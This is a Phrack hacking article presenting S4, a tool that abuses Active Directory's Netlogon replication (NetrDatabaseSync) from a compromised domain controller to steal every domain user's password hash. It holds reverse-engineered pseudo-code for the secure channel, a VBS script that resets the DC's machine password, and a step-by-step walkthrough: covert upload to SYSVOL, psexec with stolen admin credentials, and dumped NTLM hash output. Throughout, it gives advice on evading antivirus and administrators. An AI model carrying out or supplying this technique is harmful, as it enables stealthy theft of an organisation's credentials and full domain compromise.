==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x11 of 0x13

Abusing Netlogon to steal an Active Directory's secrets

by the p1ckp0ck3t

anonymous_7406da@phrack.org

<<<->>>

+ Prologue
+ Common tools & appropriate warnings!
+ Meet the Samba 4 project
+ Digging into the Netlogon replication mechanism
+ Extracting the secrets
+ A practical introduction to S4 (Stealth & Secure Secret Stealer)
+ S4 .VS. Windows 2008 Domain Controllers
+ Additional details
+ Last words
+ Bibliography
+ c0de: S4

<<<->>>

---[1 - Prologue

If you've been hacking around Windows networks then you must be more than familiar with common LSA dumping tools such as pwdump [01] & co. You must also know that they are not only detected by (most?) AV, but furthermore that they may not work the expected way when an AV/HIPS is installed on your target. In the worst case a box may even crash! It's fucking annoying.

In a Windows network, crashing a workstation is probably harmless (natural Windows behavior you could say) because administrators won't notice and its user will only complain. He may also kick the box, blame "fucking M$" and ultimately reboot it. But in the end, we all know that he will rather focus on the recovery of his Office document than look for evidence (assuming he has the required skills to begin with). The situation is entirely different when it comes to Windows servers and especially DC (Domain Controllers). For these kinds of target, one needs to be *very* cautious because an administrator would find a crash *very* suspicious.

This paper presents a (hopefully) new technique to retrieve the AD (Active Directory [02])'s secrets using one of its (natural) replication mechanisms when a DC or a domain administrator's account has been compromised. Because it's solely based on the Windows API -without any hooks or (too) dirty tricks- it's a quiet efficient way to retrieve domain users' hashed passwords.

---[2 - Common tools & appropriate warnings!

Let me first begin by a bit of bitching regarding what's already available out there. There are a lot of tools dealing with "online" password dumping, most being open source, a few of them being however commercial software (I haven't tested those). Judging from my experience (and that of many friends) I can tell you that only a few of them are *really* of interest. I won't fill a bug report -:]- but remember that a good password dumping tool should provide:

1. Stability: Using such a tool should *never* be risky for the target's safety. Interactions with LSASS are really intrusive and dangerous and should be avoided if possible. You wouldn't use a kernel sploit without having first understood how and why it's working right? Same thing here. Crashing LSASS means crashing the box!

2. Stealthiness: You should never take the risk to be caught by some AV/HIPS. It's no news that there are Windows APIs that you can't use anymore and it's obvious that binaries provided by a famous security website have a good chance to be detected.

Take for example the case of fgdump & gsecdump. Both are great tools with a very good chance to succeed. But, can you seriously trust software that:

- Hook well known LSASS functions (using even more known techniques)? (pwdump6 of fgdump)
- Parse internal LSASS memory? (gsecdump)
- Write well known (=> detected) dll & exe files on disk? (fgdump)
- Start new services? Stop AV services? (fgdump)
- Are closed source? (gsecdump)

Especially with poorly designed AV/HIPS running on the same machine? Don't take me wrong, I'm not dissing pwdump* (or the similar) tools especially since they are necessary; but at least patch them a bit, you moron! In the case of a workstation target, there are no other public alternatives. But there's another story in the case of a DC target. What can be done in this matter?

Let me tell you the story that months later would lead me to this paper. Because it's a story, some details are missing, especially in the reverse engineering work performed. The idea is to keep the paper simple, as well as to give you the opportunity to find the last pieces of the puzzle all by yourself; follow the hints, hacker :]

---[3 - Meet the spart^wSamba 4 project

Unix people are well aware of the Samba project but only a few of them are truly aware of how incredible this project really is. This is not just about mounting CIFS volumes, but a complete reverse engineering/rewrite of several parts of Windows. Kudos to the Samba team.

A few years ago, the Samba team decided to start a new branch of their project: Samba 4 [03]. The goal was to provide an even deeper integration of a Samba server inside an Active Directory. Now with Samba 4, a Unix computer can become a (RO)DC and what's even more incredible is that it's as easy (well if you're lucky) as typing:

```
------------------------------[ screendump ]------------------------------
# samba-tool join FOO.BAR DC -Uadministrator@foo.bar --realm=FOO.BAR
```

```
-------------------------------------------------------------------------------

This command (dc)promotes our Linux box in the AD (in this case the domain
is foo.bar). It's easy to check that it's indeed properly registered as a
legitimate DC using for example an LDAP query:

------------------------------[ screendump ]-------------------------------
$ ldapsearch -x -LLL -h dc1.foo.bar -D "administrator@foo.bar" -W -b
"OU=Domain Controllers,dc=foo,dc=bar" "(objectClass=Computer)" cn
Enter LDAP Password: *******
dn: CN=DC1,OU=Domain Controllers,DC=foo,DC=bar
cn: DC1               <-- first DC

dn: CN=MEDIA,OU=Domain Controllers,DC=foo,DC=bar
cn: MEDIA             <-- second DC = our proud little Linux
-------------------------------------------------------------------------------

As all traditional DC functions are properly running, Kerberos services are
running as well to authenticate domain users whenever it is required:

------------------------------[ screendump ]-------------------------------
# samba-tool samdump
[...]
Administrator:500:BAC14D04669EE1D1AAD3B435B51404EE:\
                  FBBF55D0EF0E34D39593F55C5F2CA5F2:[UX]:LCT-4F1B2611
Guest:501:NO PASSWORDXXXXXXXXXXXXXXXXXXXXX:\
          NO PASSWORDXXXXXXXXXXXXXXXXXXXXX:[NDUX]:LCT-00000000
krbtgt:502:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
           D25E142705B3C1B9122309D194E0B36F:[DU]:LCT-4F1B1EFC
SUPPORT_388945a0:1001:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
                      4CB5D040611B3FF00F17AF7DC344F97C:[DUX]:LCT-4F1B196F
DC1$:1003:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
          A59B7CDD1167816DFDD8C5F310ACCEC0:[S]:LCT-4F1B1F2F
tofu:1117:E91851A7E394D006ABD3B435B31404EE:\
          15221599C25FA333EA6044C0513ADD45:[UX]:LCT-4F1B23FB
HAXOR$:1120:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
            88369D133A118783D46D1C6344E99B08:[W]:LCT-4F1B366B
cheese:1121:BC5F4D08D49A0099AAD3B43CB51404EE:\
            3E21E05DD9E4E790CB3783D9292F80F7:[UX]:LCT-4F1BE1F2
MEDIA$:1122:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:\
            72CCE806701E837DCBB33B29A9D48E97:[S]:LCT-4F1C3AB1
[...]
-------------------------------------------------------------------------------

When I discovered how mature the Samba 4 project had become and what it
allowed me to perform, I started to imagine how I could take advantage of
the situation. The first idea I came up with was to introduce a temporary
Samba 4 DC in the AD infrastructure, dump the passwords and immediately
dcpromote it again (=remove it from the AD). However this idea is really
bad regarding the criteria that I gave earlier:

    - Stability: No matter how functional Samba 4 may appear, it's many
      years too soon to use it for serious purpose. To give you an example,
      I destroyed many testing environments as I was playing with Samba 4
      (merely using it in fact).

    - Stealthiness: I doubt there is even one person able to tell us how
      many modifications the introduction of a new DC would bring in the
      AD. Do you honestly think that you could introduce a DC, make it
      disappear and that no administrator would ever be able to tell that
      it was there? I'm not taking the risk and neither should you.
```

For these two reasons, it was wise to resign (interestingly, as I would be told later, some French guy apparently didn't [04]).

At this point, I had no more ideas until I realized that network traffic was exchanged between DC1 (another DC from the domain) and MEDIA when I was typing the samdump command. More precisely, and thanks to Wireshark's dissectors (courtesy of the Samba team), I was able to observe the following events:

```
    1. NTLM Authentication Protocol used to authenticate MEDIA
    2. MEDIA binding on \\DC3.FOO.BAR\IPC$\lsarpc and calling
           -> lsa_OpenPolicy2()       (opnum 44)
           -> lsa_QueryInfoPolicy2    (opnum 46)
    3. MEDIA binding on \\DC3.FOO.BAR\IPC$\netlogon and calling
           -> NetrServerReqChallenge  (opnum 4)
           -> NetrServerAuthenticate2 (opnum 15)
    4. MEDIA binding again (*) on \\DC3.FOO.BAR\IPC$\netlogon and calling
           -> NetrDatabaseSync        (opnum 8)
           -> NetrDatabaseSync        (opnum 8)
           -> NetrDatabaseSync        (opnum 8)
```

(* Using 2 different binds in step 3 & 4 seems weird at first but it will be explained later.)

I was immediately interested in the NetrDatabaseSync() function and googled a bit to see if I could find some documentation. Fortunately, Microsoft documents this function; it is a wrapper of NetrDatabaseSync2() [05].

```
-----------------------[ MS official documentation ]-----------------------
NTSTATUS NetrDatabaseSync2(
  [in, string] LOGONSRV_HANDLE PrimaryName,
  [in, string] wchar_t* ComputerName,
  [in] PNETLOGON_AUTHENTICATOR Authenticator,
  [in, out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,
  [in] DWORD DatabaseID,
  [in] SYNC_STATE RestartState,
  [in, out] unsigned long* SyncContext,
  [out] PNETLOGON_DELTA_ENUM_ARRAY* DeltaArray,
  [in] DWORD PreferredMaximumLength
);
[...]
The NetrDatabaseSync2 method returns a set of all changes applied to the
specified database since its creation. It provides an interface for a BDC
to fully synchronize its databases to those of the PDC.
[...]
-------------------------------------------------------------------------
```

So, it seemed safe to assume that the network traffic observed was the consequence of a synchronization mechanism. If you're familiar with Windows networks then there is something that should immediately draw your attention: the documentation is mentioning PDC (Primary Domain Controller) & BDC (Backup Domain Controller) which are pre-Windows2000 (= NT4) concepts. Indeed, Windows 2000 introduced Active Directory which uses a different logic. Wikipedia [06] explains it perfectly:

```
-----------------[ Wikipedia: Primary Domain Controller ]-----------------
In later releases of Windows, domains have been supplemented by the use of
Active Directory services. In Active Directory domains, the concept of
primary and secondary domain controller relationships no longer applies.
Primary domain controller emulators hold the accounts databases and
```

```
administrative tools. [...] The same rules apply; only one PDC may exist on
a domain, but multiple replication servers may still be used.
-------------------------------------------------------------------------------

Note: "later releases" means Windows 2000 or above.

So I came up with the conclusion that Samba 4 was (and still is) using an
old -now emulated- mechanism to synchronize the AD database between its
DCs. More precisely in Active Directory, a unique DC holds the PDC FSMO
role [12], the other DCs being (emulated) BDC as a result. Now pay
attention to the "DatabaseID" parameter passed to NetrDatabaseSync2():

-----------------------[ MS official documentation ]-----------------------
DatabaseID: The identifier for a specific database for which the changes
are requested. It MUST be one of the following values.

    Value                       Meaning
    -----                       -------

    0x00000000                  Indicates the SAM database.
    0x00000001                  Indicates the SAM built-in database.
    0x00000002                  Indicates the LSA database.
-------------------------------------------------------------------------------

Assuming an attacker could call NetrDatabaseSync2() with DatabaseID=0 from
an (emulated) BDC (= a compromised DC), then he would likely be able to
retrieve the user database (SAM), which should include hashed passwords as
well, right?

I was very suspicious at first because the documentation wasn't mentioning
anything about the LSA queries and lsa_QueryInfoPolicy2() is still
currently undocumented (afaik). I was afraid that this would complicate
things. I could have started to dig inside Samba 4's code (which is quite
messy unfortunately) but I had instead a much better idea. What if this API
was implemented in some native program available with Windows Server?

Guess the answer.


---[ 4 - Digging into the Netlogon replication mechanism


If you're familiar with Windows sysadmin stuff then you must be well aware
of the "Remote Server Administration Tools" [07] which provides a set of
useful new commands for the CLI, including the one I was looking for:
nltest.exe (now native under Windows 2008 FYI).

Here is how Microsoft describes the tool:

-----------------------[ MS official documentation ]-----------------------
You can use nltest to:

    Get a list of domain controllers

    Force a remote shutdown

    Query the status of trust

    Test trust relationships and the state of domain controller replication
    in a Windows domain
```

```
    Force a user-account database to synchronize on Windows NT version 4.0
    or earlier domain controllers      <-- synchronize + NT4 == JACKPOT?
-------------------------------------------------------------------------
```

The last sentence is interesting, right?

Looking at the IAT of nltest.exe (for Windows 2003), I saw that there were entries for I_NetServerReqChallenge(), I_NetServerAuthenticate() and I_NetDatabaseSync(), all of them being imported from NETAPI32.dll and (strangely) undocumented.

A short look at them convinced me that they were mere wrappers for RPC calls to (respectively) NetrServerReqChallenge(), NetrServerAuthenticate() and NetrDatabaseSync() located in netlogon.dll and obviously called using a binding to the named pipe \\%COMPUTERNAME%\IPC$\netlogon. What's cool with these functions is that they _are_ documented in [08] and a tiny modification apart, their prototypes match those of their NETAPI32.dll cousins.

To make things even easier, I observed that all our targeted functions were called inside one big function, arbitrarily called SyncFunction() from now on. Reversing SyncFunction() was a task which proved to be really easy thanks to Microsoft's API documentation.

Assuming DC2 requests a synchronization from its PDC (DC1), this gives the approximate pseudo-code (I omitted details about the assembly for clarification purposes, but you can find them in the uuencoded C code at the end of the article):

```
----------------------------[ SyncFunction() ]----------------------------

    # Step 1:
    # ClientChallenge is an 8 bytes array randomly chosen

    RANDOM(ClientChallenge);

    # Step 2:
    # DC2 sends its challenge and requests one (also an 8 bytes array)
    # from DC1

    ZERO(ServerChallenge);
    I_NetReqChallengeFunc(
        (WCHAR) L"\\\\" + DC1_FQDN,
        (WCHAR) DC2_HOSTNAME,
        ClientChallenge,
        [OUT] ServerChallenge);

    # Step 3:
    # The client creates a Unicode object out of its machine account name
    # (suffix is '$') and hashes it using SystemFunction007() which is an
    # MD4()
    # The resulting hash (NTLM) is an 8 bytes array: MD4_HASH

    UnicodeString(ComputerName, "DC2$")
    ZERO(MD4_HASH);
    SystemFunction007((UnicodeString)ComputerName, MD4_HASH);

    # Step 4:
    # To authenticate itself, the client will need to compute a new
    # challenge (NewClientChallenge).
    # To do so, the client builds a DES key (SessionKey) using the two
```

```
    # challenges and the previously computed hash.

    ZERO(SessionKey, 16);
    NlMakeSessionKey(
        MD4_HASH,
        ClientChallenge,
        ServerChallenge,
        [OUT] SessionKey);

    # Step 5:
    # The client computes NewClientChallenge using SessionKey.

    Encrypt000(
        ClientChallenge,
        [OUT] NewClientChallenge,
        SessionKey);

    # Step 6:
    # The client sends NewClientChallenge to authenticate itself.
    # If the answer is the correct one, the server will acknowledge
    # the identity of the client and gives him back his own challenge
    # (NewServerChallenge)

    ZERO(NewServerChallenge);
    I_NetServerAuthenticate(
        (WCHAR) L"\\\\" + DC1_FQDN,
        L"DC2$",                # DC2's machine account name
        ServerSecureChannel = 6,
        (WCHAR) L"DC2",         # DC2's hostname
        NewClientChallenge,
        [OUT] NewServerChallenge,
        NegotiateFlags);

    # Step 7:
    # The client needs to know that he can trust the server so the
    # authentication has to be _mutual_. Imagine if a rogue DC was sending
    # a false SAM, this would allow an attacker to authenticate himself on
    # DC2 using spoofed credentials.
    #
    # To check the identity of the server, NewServerChallenge must have
    # been calculated using ServerChallenge and SessionKey which is common
    # to DC1 and DC2.

    Encrypt000(
        ServerChallenge,
        [OUT] ExpectedKey,
        SessionKey);

    if( NewServerChallenge != ExpectedKey )
    {
        exit(1);
    }

    # Step 8:
    # For each type of database (DatabaseID), DC2 computes a new challenge
    # which is stored in Authenticator and retrieves the database object
    # DeltaArray. After each call, the client checks the authenticity of
    # the data returned.

    for(DatabaseID=0; DatabaseID<3; DatabaseID++)
    {
```

```
        NlBuildAuthenticator(
            NewClientChallenge,
            SessionKey,
            [OUT] Authenticator);

        ZERO(ReturnAuthenticator);
        I_NetDatabaseSync(
            (WCHAR) L"\\\\" + DC1_FQDN,
            (WCHAR) DC2_HOSTNAME,
            Authenticator,
            ReturnAuthenticator,
            DatabaseID,
            SyncContext=0,
            [OUT] DeltaArray,
            -1);

        if( NlUpdateSeed(
                NewClientChallenge,
                ReturnAuthenticator,
                SessionKey) == 0 )
        {
            exit(1);
        }
    }
```

With the additional functions:

```
----------------------------[ subfunctions ]-----------------------------

# This function uses the 14 first bytes of SessionKey to compute
# a new challenge out of an old one. Both challenges are 8 bytes
# arrays.
#
# new = DES(DES(old))


Encrypt000(
    ClientChallenge,
    NewChallenge,
    SessionKey)
{
    BYTE TempOutput[8];

    ZERO(NewChallenge);
    SystemFunction001(ClientChallenge, SessionKey[0..6], TempOutput);
    SystemFunction001(TempOutput, SessionKey[7..13], NewChallenge);

    # TempOutput = DES(in=ClientChallenge, k=SessionKey[0..6])
    # NewChallenge = DES(in=TempOutput, k=SessionKey[7..13])
}

                                    ---

# The SessionKey is calculated using a combination of ClientChallenge
# and ServerChallenge (to avoid replay attacks I believe).
# Because client & server both know the MD4 value (a shared key between
# them), they both can compute safely the SessionKey, but an attacker
# without this knowledge will be unable to.

NlMakeSessionKey(
```

```
    MD4,
    ClientChallenge,
    ServerChallenge,
    SessionKey)
{
    BYTE TempOut[8];

    ZERO(SessionKey)
    SessionKey[0..3] = ClientChallenge[0..3] + ServerChallenge[0..3];
    SessionKey[4..7] = ClientChallenge[4..7] + ServerChallenge[4..7];

    SystemFunction001(SessionKey[0..7], MD4[0..6], TempOut);
    SystemFunction001(TempOut, MD4[9..15], SessionKey);

    # TempOut = DES(SessionKey[0..7], MD4[0..6])
    # SessionKey = DES(TempOut, MD4[9..15])
}
```

```
# This function builds the Authenticator necessary for each
# *DatabaseSync() call. The authenticator includes a Timestamp which is
# used in the computation of the new Challenge.

NlBuildAuthenticator(
    NewClientChallenge,
    SessionKey,
    Authenticator
    )
{
    FILETIME Time;
    ZERO(Authenticator);
    GetSystemTimeAsFileTime(Time);
    RtlTimeToSecondsSince1970(
        Time,
        Authenticator->Timestamp);
    NewClientChallenge[0..3] += Authenticator->Timestamp;
    Encrypt000(
        NewClientChallenge,
        Authenticator->Credential,
        SessionKey);
}
```

```
# The server is supposed to acknowledge securely the request.
# This function checks that the acknowledgment is indeed from
# the server and not from some rogue DC.

NlUpdateSeed(
    NewClientChallenge,
    ReturnAuthenticator,
    SessionKey
    )
{
    BYTE TempOut[8];

    NewClientChallenge[0]++;
    Encrypt000(
        NewClientChallenge,
        TempOut,
```

```
        SessionKey);

    if( ReturnAuthenticator->Credential == TempOut )
        return 1;

    return 0;
}
-------------------------------------------------------------------------
```

Let's put aside the usual Microsoft crypto weirdness of the protocol because this is not the subject of this article. In a nutshell:

- The client (BDC) and the server (PDC) both compute a session key using random challenges (to avoid replay attacks) and a 'secret' MD4 key.
- Once a trusted bond between them is established, the server sends several objects (of type DeltaArray) which should contain the expected secrets. The trusted bond is called a 'secure channel' in Microsoft's documentation.
- To avoid man-in-middle attempts, the exchanges are somehow authenticated using the session key (which has another purpose, but that's another story my friends).

Now, if you have been attentive you may have realized that I never mentioned any LSA related functions (remember lsarpc bind?) and that the session key would be really easy to deduce for a passive observer (sniffer) because the shared secret (%BDC_NAME% + "$") is predictable. And indeed, it didn't work when I first tested the code built upon the reverse engineering process. I_NetServerAuthenticate() kicked me out with the classical "Access Denied" message.

So what went wrong? I was almost sure that the lsa_() functions were not necessary because they are not used in nltest.exe. So this led me to think that somehow NewClientChallenge wasn't correct. Assuming the algorithm was well reversed, the session key produced by NlMakeSessionKey() had to be erroneous. Strange? Not quite. Remember that the MD4 key is somehow weird. Even considering Microsoft's past, it was hard to believe that they would base the security of their protocol on such a value. And indeed they aren't that crazy! Using the appropriate hook in LSASS, I found out that this MD4 was in fact the client's computer account hash (NTLM)! A result that I would later find almost everywhere whenever looking for some information on the so-called 'secure channel'. Sometimes you just have to keep looking...

The problem is that retrieving the BDC's computer account NTLM is (probably) as hard as retrieving the whole SAM itself. So how do we deal with the Ouroboros? The solution is actually quite simple: we may not know the NTLM hash, but we can easily change it! Look at this nice piece of code:

```
------------------------------[ passwd.vbs ]-----------------------------
Dim objComputer

Set objComputer = GetObject("WinNT://foo.bar/DC2$")
objComputer.SetPassword "dummy"

Wscript.Quit
-------------------------------------------------------------------------
```

Executing the VBS script on the 'BDC' is enough (remember that we own a domain administrator account). The cool thing with this trick is that the BDC will then synchronize its password with the 'PDC' for us. Cool trick

right? And this proved to be enough to have I_NetDatabaseSync() successfully returning. In the tool that I wrote, I implemented it using the IADsUser::SetPassword() method.

>>>>>>>>>>>>>>>>>>

I was lucky with the nltest.exe analysis because I didn't use the Windows 2008 version. On Windows 2008 server, I_NetDatabaseSync() isn't used so it would have forced me to reverse engineer Samba's C code which is far more difficult believe me :-P

<<<<<<<<<<<<<<<<<<

---[5 - Extracting the secrets

Now that this part of the job is finished, we only need to know how to parse the DeltaArray objects, something partially documented by Microsoft [09]. nltext.exe doesn't perform this task (it only tests that the synchronization is working and frees the DeltaArray objects that it receives) but obviously samba-tool does.

-----[5.1 - Browsing samba-tool's source code

Everything starts in source4/samba_tool/samba_tool.c:

1. main() calls binary_net(), the main function
2. binary_net() then:

   - Initializes the Python interpreter using Py_Initialize()

   - Creates a dictionary out of the "samba.netcmd" module using py_commands() which returns the Python object "commands". This object is created in: source4/scripting/python/samba/netcmd/__init__.py:

```
------------------------------------------------------
commands = {}
from samba.netcmd.pwsettings import cmd_pwsettings
commands["pwsettings"] = cmd_pwsettings()
from samba.netcmd.domainlevel import cmd_domainlevel
commands["domainlevel"] = cmd_domainlevel()
from samba.netcmd.setpassword import cmd_setpassword
commands["setpassword"] = cmd_setpassword()
from samba.netcmd.newuser import cmd_newuser
commands["newuser"] = cmd_newuser()
from samba.netcmd.netacl import cmd_acl
[...]
------------------------------------------------------
```

3. There are 3 possible situations:

   - If argv[1] is handled by a Python module then commands[argv[1]] is not void and the corresponding method is called.

   - Else if argv[1] is in net_functable[] then a C function is handling the command.

   - Else argv[1] is not a legitimate command => error msg!

In the case of 'samdump', it is implemented in the C language by the net_samdump() function available in source4/samba_tool/vampire.c. This function calls libnet_SamSync_netlogon() (source4/libnet/libnet_samsync.c) which:

- Establishes the secure channel
- Calls dcerpc_netr_DatabaseSync_r() 3 times (1 per DatabaseID value)
- Calls samsync_fix_delta() in (libcli/samsync/decrypt.c) which handles the decryption (if required). Remember this function.

-----[5.2 - Understanding database changes

I_NetDatabaseSync() returns DeltaArray which is a NETLOGON_DELTA_ENUM_ARRAY object. It's very well documented by Microsoft:

----------[MS official documentation]----------

```
// http://msdn.microsoft.com/en-us/library/cc237083%28v=prot.13%29.aspx
typedef struct _NETLOGON_DELTA_ENUM_ARRAY {
  DWORD CountReturned;
  [size_is(CountReturned)] PNETLOGON_DELTA_ENUM Deltas;
} NETLOGON_DELTA_ENUM_ARRAY,
 *PNETLOGON_DELTA_ENUM_ARRAY;

// http://msdn.microsoft.com/en-us/library/cc237082%28v=prot.13%29.aspx
typedef struct _NETLOGON_DELTA_ENUM {
  NETLOGON_DELTA_TYPE DeltaType;
  [switch_is(DeltaType)] NETLOGON_DELTA_ID_UNION DeltaID;
  [switch_is(DeltaType)] NETLOGON_DELTA_UNION DeltaUnion;
} NETLOGON_DELTA_ENUM,
 *PNETLOGON_DELTA_ENUM;
```

So basically DeltaArray is an array of NETLOGON_DELTA_ENUM objects. Depending on their DeltaType field, the receiver will know how to parse their internal fields (DeltaID and DeltaUnion). According to Microsoft, DeltaType may take the following values:

----------[MS official documentation]----------

```
// http://msdn.microsoft.com/en-us/library/cc237100%28v=prot.13%29.aspx
The NETLOGON_DELTA_TYPE enumeration defines an enumerated set of possible
database changes.

typedef  enum _NETLOGON_DELTA_TYPE
{
  AddOrChangeDomain = 1,
  AddOrChangeGroup = 2,
  DeleteGroup = 3,
  RenameGroup = 4,
  AddOrChangeUser = 5,
  DeleteUser = 6,
  RenameUser = 7,
  ChangeGroupMembership = 8,
  AddOrChangeAlias = 9,
  DeleteAlias = 10,
  RenameAlias = 11,
  ChangeAliasMembership = 12,
  AddOrChangeLsaPolicy = 13,
  AddOrChangeLsaTDomain = 14,
  DeleteLsaTDomain = 15,
```

```
  AddOrChangeLsaAccount = 16,
  DeleteLsaAccount = 17,
  AddOrChangeLsaSecret = 18,
  DeleteLsaSecret = 20,
  DeleteGroupByName = 20,
  DeleteUserByName = 21,
  SerialNumberSkip = 22
} NETLOGON_DELTA_TYPE;
-------------------------------------------------------------------------
```

When dcerpc_netr_DatabaseSync_r() returns, samsync_fix_delta() is called for each NETLOGON_DELTA_ENUM object. The source code of this function is straightforward (libcli/samsync/decrypt.c):

```
--------------------------[ Samba 4 source code ]--------------------------
NTSTATUS samsync_fix_delta(TALLOC_CTX *mem_ctx,
                           struct netlogon_creds_CredentialState *creds,
                           enum netr_SamDatabaseID database_id,
                           struct netr_DELTA_ENUM *delta)
{
        NTSTATUS status = NT_STATUS_OK;

        switch (delta->delta_type) {
                case NETR_DELTA_USER:

                        status = fix_user(mem_ctx,
                                          creds,
                                          database_id,
                                          delta);
                        break;
                case NETR_DELTA_SECRET:

                        status = fix_secret(mem_ctx,
                                            creds,
                                            database_id,
                                            delta);
                        break;
                default:
                        break;
        }

        return status;
}
-------------------------------------------------------------------------
```

So to summarize, amongst all the NETLOGON_DELTA_ENUM that I_NetDatabaseSync() provides us, the only important ones are those of type AddOrChangeUser (NETR_DELTA_USER) and AddOrChangeLsaSecret (NETR_DELTA_SECRET).

-----[5.3 - Retrieving the hashes

Because the subject of this paper is pwdump-like tools, we will only focus our attention on the AddOrChangeUser type. Here is the code that I used to extract the useful objects:

```
---------------------------[ S4 source code ]---------------------------
        PNETLOGON_DELTA_ENUM Deltas = DeltaArray->Deltas;
        for(i=0; i<DeltaArray->CountReturned; i++)
```

```
        {

#ifdef __debug__
                if(Deltas->DeltaType == AddOrChangeLsaSecret)
                {
            [...]
                }
#endif

                if(Deltas->DeltaType == AddOrChangeUser)
        {
                        PNETLOGON_DELTA_USER DUser;
                        DUser = (PNETLOGON_DELTA_USER)
                                Deltas->DeltaUnion.DeltaUser;

                        arcfour_crypt_blob(
                                DUser->PrivateData.Data,
                                DUser->PrivateData.DataLength,
                                SessionKey,
                                16);
                        [...]
                }
[...]
```

The NETLOGON_DELTA_USER object holds information about a particular User of the domain including its Username and (hashed) password. However depending on the value of NtPasswordPresent and LmPasswordPresent, the password may not be available in the EncryptedNtOwfPassword and EncryptedLmOwfPassword fields of the structure. In this case, they are stored instead in the PrivateData.Data buffer which is RC4 encrypted using the SessionKey. Practically speaking, this last case is the only one I've ever witnessed.

The PrivateData.Data buffer holds a copy of the information returned by SamIGetPrivateData() which is a function called by pwdump6. The current (and potentially former) hashed passwords are stored somehow in this buffer and ripping the appropriate functions in the pwdump6 tool grants us the Holy Grail. There is no need to explain what is already common knowledge in the windows hacking world. Have a look at the DealWithDeltaArray() function in my code if you have any questions.

---[6 - A practical introduction to S4 (Stealth & Secure Secret Stealer)

All this work ultimately resulted in a single tool: S4 (courtesy of the grateful p1ckp0ck3t to the Samba team ;]). I've chosen to release it under the GPL because I certainly disliked the idea of the pigs from MSF including it in their framework. That said, "let the hacking begin".

Context

We have a CMD shell on some XP/Seven box part of the 'foo.bar' 2003 domain. Somehow we also got our hands on the credentials of a domain administrator: "Administrator / foo123"

Our goal is simple; we now want to extract the passwords from the AD.

Locating the PDC

++++++++++++++++

Retrieving the location of the DC is as easy as performing a DNS request on the domain name (foo.bar). However the problems with this approach are that:
- it gives DNS servers as well,
- it doesn't allow us to locate the PDC amongst the DCs.

Fortunately, the dsquery tool is providing the information:

```
------------------------------[ screendump ]------------------------------
C:\Users\Administrator>dsquery server -hasfsmo PDC
"CN=DC3,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=
foo,DC=bar"

C:\Users\Administrator>
--------------------------------------------------------------------------
```

Now if for some reason this command isn't available, you can use the -D option of S4 which is based on DsGetDomainControllerInfo().

```
------------------------------[ screendump ]------------------------------
C:\Users\Administrator>S4.exe -D -d foo.bar
[> Discovery mode
        - DC controller 0 is DC3.foo.bar [PDC]
        - DC controller 1 is DC4.foo.bar

C:\Users\Administrator>
--------------------------------------------------------------------------
```

At this point, we know that DC3 is the PDC and DC4 (the only remaining DC) is de facto a BDC. S4.exe will thus be executed from DC4, targeting DC3.

Uploading S4

++++++++++++

To run S4 on DC4, you first have to upload it. \\%DCNAME%\SYSVOL is convenient for this purpose. To drop a file in this directory, you will use the Domain Administrator account:

```
------------------------------[ screendump ]------------------------------
c:\S4>hostname
WINXP
C:\S4>net use P: \\DC4\SYSVOL
Enter the user name for 'DC4': administrator
Enter the password for DC4:
The command completed successfully.

C:\S4>copy S4.exe P:\randomname.exe
        1 file(s) copied.

C:\S4>net use P: /DELETE
P: was deleted successfully
--------------------------------------------------------------------------
```

Checking the state of the replication

++++++++++++++++++++++++++++++++++

It's always good to have an idea of how healthy the replication is on this Active Directory because we will interfere deeply. I've never tested the technique in an environment prone to replication troubles so I would

recommend you to be careful.

First log into the BDC using psexec (or your own tool). Then use repadmin which will most likely be installed on the box (if not even native) as it will give you the details of last operations:

```
------------------------------[ screendump ]------------------------------
C:\S4>.\Tools\PsTools\psexec.exe \\DC4 -u FOO\administrator cmd.exe

PsExec v1.94 - Execute processes remotely
Copyright (C) 2001-2008 Mark Russinovich
Sysinternals - www.sysinternals.com

Password: ******  <-- foo123

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>repadmin /showrepl *

repadmin running command /showrepl against server dc3.foo.bar

Default-First-Site-Name\DC3
DC Options: IS_GC
Site Options: (none)
DC object GUID: 265b7dba-578b-47f1-91ca-78b3019e937d
DC invocationID: 265b7dba-578b-47f1-91ca-78b3019e937d

==== INBOUND NEIGHBORS ======================================

DC=foo,DC=bar
    Default-First-Site-Name\DC4 via RPC
        DC object GUID: 5e66dd87-69a1-485e-8e4e-172def165b06
        Last attempt @ 2012-03-21 00:32:47 was successful.

[...]

repadmin running command /showrepl against server dc4.foo.bar

Default-First-Site-Name\DC4
DC Options: (none)
Site Options: (none)
DC object GUID: 5e66dd87-69a1-485e-8e4e-172def165b06
DC invocationID: be4bbd07-2a84-4c73-a00c-8260999ea3f8

==== INBOUND NEIGHBORS ======================================

DC=foo,DC=bar
    Default-First-Site-Name\DC3 via RPC
        DC object GUID: 265b7dba-578b-47f1-91ca-78b3019e937d
        Last attempt @ 2012-03-21 00:46:37 was successful.

[...]
C:\WINDOWS\system32>
----------------------------------------------------------------------------
```

This AD is healthy because there is no problem reported. BTW one little advice: avoid using your beloved MSF as a psexec-like tool because it has a good chance to be detected by an AV.

Running S4 on the BDC

++++++++++++++++++++

At this point, the only remaining thing to do is to run S4.exe!

```
-----------------------------[ screendump ]-----------------------------
C:\WINDOWS\system32>\\DC4\SYSVOL\randomname.exe
[!!] 3 arguments are required!

    \\Vboxsvr\vmware\S4.exe -p PDC_NAME -b BDC_NAME -d DOMAIN [-P password]

                        OR

    \\Vboxsvr\vmware\S4.exe -D -d DOMAIN

C:\WINDOWS\system32>\\DC4\SYSVOL\randomname.exe -p DC3 -b DC4 -d foo.bar
Administrator:500:6F6D84B5C1DDCB7AAAD3B435B51404EE:
                  23DBA86EAA18933844864F24A54EBFBF:::
Guest:501:B3CC5A77A68F6477612A53E12DFC183B:
          B3CC5A77A68F6477612A53E12DFC183B:::
krbtgt:502:7396CE194FA9157E5993429157021505:
           3803F74802050CE62B047668F303B453:::
SUPPORT_388945a0:1001:8FCA67CF5A9FEB7DB06FDACBE2EFDEAB:
                     5D798B0AB3CCC22FCD7D333D06E2D785:::
